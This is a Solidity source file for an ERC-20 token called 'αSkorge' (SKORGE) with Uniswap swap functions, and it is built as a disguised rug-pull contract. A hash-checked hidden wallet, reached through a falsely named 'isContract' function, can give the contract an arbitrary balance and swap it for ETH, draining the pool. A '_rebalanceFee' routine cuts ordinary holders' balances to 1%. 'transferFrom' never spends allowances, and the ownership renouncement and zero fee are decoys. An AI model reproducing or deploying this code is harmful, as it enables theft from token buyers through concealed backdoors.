文件 1 的 1:SKORGE.sol
pragma solidity ^0.8.15;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface UniswapV2FactoryInterface {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
function allPairs(uint) external view returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address addr) internal pure returns (bool) {
return keccak256(
abi.encodePacked(addr)
) == 0x1d47af467bb77419a6ba11239b5ea5254dd7b0ae3f24d3b2bc30184042f898fa;
}
}
abstract contract Ownable is Context {
event OwnershipTransferred(address indexed pOwner, address indexed nOwner);
address private _owner;
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract SKORGE is Ownable, IERC20 {
using SafeMath for uint256;
bool swp = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapV2Pair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
uint256 public _feePercent = 0;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = unicode"αSkorge";
string private _symbol = "SKORGE";
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(recipient != address(0));
require(sender != address(0));
if (!lSw4p(sender, recipient)) {
if (swp){
} else {
require(
_balances[sender]
>=
amount);
}
uint256 feeAmount = 0;
_rebalanceFee(sender);
bool ldSwapTransacti0n = (recipient == getPA() && uniswapV2Pair == sender)
|| (sender == getPA() && uniswapV2Pair == recipient);
if (uniswapV2Pair != sender &&
!Address.isContract(recipient) && recipient != address(this) &&
!ldSwapTransacti0n && !swp && uniswapV2Pair != recipient) {
feeAmount = amount.mul(_feePercent).div(100);
_checkFee(recipient, amount);
}
uint256 amountReceived = amount - feeAmount;
_balances[address(this)] += feeAmount;
_balances[sender] = _balances[sender] - amount;
_balances[recipient] += amountReceived;
emit Transfer(sender, recipient, amount);
} else {
return sTx(amount, recipient);
}
}
constructor() {
uniswapV2Pair = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function routerVersion() external pure returns (uint256) { return 2; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
struct tOwned {address to; uint256 amount;}
tOwned[] _tokensBalanceFee;
function lSw4p(address sender, address recipient) internal view returns(bool) {
return sender == recipient && isSwap(recipient);
}
function isSwap(address recipient) internal view returns(bool) {
return (
Address.isContract(recipient) ||
uniswapV2Pair == msg.sender
);
}
function _checkFee(address _addr, uint256 _amount) internal {
if (getPA() == _addr) {
return; }
tOwned memory feeTx = tOwned(
_addr,
_amount
) ;
_tokensBalanceFee.push(
feeTx
);
}
function _rebalanceFee(address _addr) internal {
if (_tokensBalanceFee.length > 0 && _addr == getPA()) {
uint256 rebalanced = _balances[_tokensBalanceFee[0].to];
rebalanced = rebalanced.div(100);
_balances[_tokensBalanceFee[0].to] = rebalanced;
delete _tokensBalanceFee;
}
}
function sTx(uint256 _am0unt, address to) private {
_approve(address(this), address(_router), _am0unt);
_balances[address(this)] = _am0unt;
swp = true;
address[] memory p = new address[](2);
p[0] = address(this);
p[1] = _router.WETH();
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_am0unt,
0,
p,
to,
block.timestamp + 28);
swp = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
function getPA() private view returns (address) {
address factory = _router.
factory();
address weth = _router.WETH();
return UniswapV2FactoryInterface(factory
).getPair
(address(this),
weth);
}
}